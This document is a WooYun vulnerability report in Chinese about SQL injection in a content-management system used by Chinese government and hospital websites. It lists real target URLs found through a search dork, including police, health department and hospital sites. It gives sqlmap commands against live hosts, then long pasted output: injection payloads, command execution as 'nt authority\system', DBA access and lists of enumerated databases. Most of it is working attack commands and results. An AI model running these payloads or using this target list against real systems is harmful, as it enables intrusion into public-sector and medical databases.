WooYun.org

前人漏洞 WooYun: 某通用政府/医院建站系统漏洞集合已GetShell（SQL注入、弱口令、文件上传）
咱们再挖个
范围:inurl:/noteDetail.jsp
www.sasacgs.gov.cn/noteDetail.jsp?articleId=103 甘肃省国资委
www.gongan.ningbo.gov.cn/.../notedetail.jsp 宁波市公安局-
www.gsws.gov.cn/noteDetail.jsp?articleId=305 甘肃省卫生厅
www.gsws.gov.cn/noteDetail.jsp?articleId=255 甘肃省健康教育
www.gszlyy.com/noteDetail.jsp?articleId=133 甘肃省肿瘤医院
www.jbga.gov.cn/include/notedetail.jsp?id=498 宁波市公安局江北分局-
hsga.haishu.gov.cn/hdzx/notedetail.jsp?id=237
..各种局子
http://202.100.85.100/noteDetail.jsp?articleId=107为例
python sqlmap.py -u "http://202.100.85.100/noteDetail.jsp?articleId=107"　-p "articleId"
python sqlmap.py -u "www.gszlyy.com/noteDetail.jsp?articleId=133" -p "articleId"
python sqlmap.py -u "http://202.100.85.100/noteDetail.jsp?articleId=107"　-p "articleId"
Place: GET
Parameter: articleId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: articleId=112 AND 9444=9444
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: articleId=112 UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(108)+CHAR(113)+CHAR(83)+CHAR(109)+CHAR(86)+CHAR(76)+CHAR(106)+CHAR(70)+CHAR(122)+CHAR(81)+CHAR(72)+CHAR(78)+CHAR(113)+CHAR(97)+CHAR(107)+CHAR(103)+CHAR(113),NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: articleId=112; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: articleId=112 WAITFOR DELAY '0:0:5'--
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
command standard output: 'nt authority\system'
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] LT_CMS_2014_ZFXXGK_GSGZW
[*] ltcms_cms_2009_gsgzwei
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
Place: GET
Parameter: articleId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: articleId=133 AND 1792=1792
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: articleId=133 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(114)+CHAR(115)+CHAR(106)+CHAR(113)+CHAR(98)+CHAR(78)+CHAR(120)+CHAR(65)+CHAR(118)+CHAR(114)+CHAR(68)+CHAR(79)+CHAR(70)+CHAR(105)+CHAR(113)+CHAR(104)+CHAR(112)+CHAR(118)+CHAR(113)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: articleId=133; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: articleId=133 WAITFOR DELAY '0:0:5'--
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
available databases [73]:
[*] distmodel
[*] LT_2008_CMS_GSJJYLCMS
[*] LT_2008_CMS_Gsnkencms
[*] LT_CMS_2008_001
[*] LT_CMS_2008_003
[*] LT_CMS_2008_004
[*] LT_CMS_2008_005
[*] LT_CMS_2008_BYFYCMS_E
[*] LT_CMS_2008_BYPHCMS
[*] LT_CMS_2008_BYXYCMS_E
[*] LT_CMS_2008_DXFYCMS_E
[*] LT_CMS_2008_FPHCMS
[*] LT_CMS_2008_FYBJCMS_E
[*] LT_CMS_2008_GNFYCMS
[*] LT_CMS_2008_GNXYCMS_E
[*] LT_CMS_2008_Gsgbylcms
[*] LT_CMS_2008_GswschoolCMS_E
[*] LT_CMS_2008_GSXYCMS_E
[*] LT_CMS_2008_GSZLCMS
[*] LT_CMS_2008_HZLYCMS_E1
[*] LT_CMS_2008_JCXYCMS_E
[*] LT_CMS_2008_JQFYCMS_E
[*] LT_CMS_2008_JQXYCMS_E
[*] LT_CMS_2008_JYGFYCMS_E
[*] LT_CMS_2008_JYGPHCMS_E
[*] LT_CMS_2008_LDLYCMS_E1
[*] LT_CMS_2008_LNSPHCMS_E1
[*] LT_CMS_2008_LXFYCMS_E
[*] LT_CMS_2008_LXPHCMS_E
[*] LT_CMS_2008_LZOHCMS_E
[*] LT_CMS_2008_LzthirCMS_E
[*] LT_CMS_2008_QYCHCMS
[*] LT_CMS_2008_QYFYCMS
[*] LT_CMS_2008_QYXYCMS_E
[*] LT_CMS_2008_TSFPHCMS_E
[*] LT_CMS_2008_TSPHCMS_E
[*] LT_CMS_2008_TSWPHCMS_E
[*] LT_CMS_2008_WSLYCMS_E1
[*] LT_CMS_2008_WWZLCMS
[*] LT_CMS_2008_YJCMS
[*] LT_CMS_2008_ZYCHCMS_E
[*] LT_CMS_2008_ZYXYCMS_E
[*] LT_CMS_2009_GSJJCMS
[*] LT_CMS_2012_WSLYY
[*] LT_CMS_2014_GSD3YY
[*] LT_CMS_2014_GSYG
[*] LT_CMS_2014_ZFXXGK
[*] master
[*] model
[*] msdb
[*] tempdb
[*] WWW_BY
[*] WWW_DX
[*] WWW_GNZ
[*] WWW_JC
[*] WWW_JQ
[*] WWW_JYG
[*] WWW_LN
[*] WWW_LXZ
[*] WWW_LZ
[*] WWW_QY
[*] WWW_TS
[*] WWW_WW
[*] WWW_ZY
[*] WWWJD_BY
[*] WWWJD_DX
[*] WWWJD_GNZ
[*] WWWJD_GS
[*] WWWJD_JC
[*] WWWJD_JQ
[*] WWWJD_JYG
[*] WWWJD_LN
[*] WWWJD_LXZ
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: articleId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: articleId=133 AND 1792=1792
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: articleId=133 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(114)+CHAR(115)+CHAR(106)+CHAR(113)+CHAR(98)+CHAR(78)+CHAR(120)+CHAR(65)+CHAR(118)+CHAR(114)+CHAR(68)+CHAR(79)+CHAR(70)+CHAR(105)+CHAR(113)+CHAR(104)+CHAR(112)+CHAR(118)+CHAR(113)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: articleId=133; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: articleId=133 WAITFOR DELAY '0:0:5'--
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
current user is DBA: True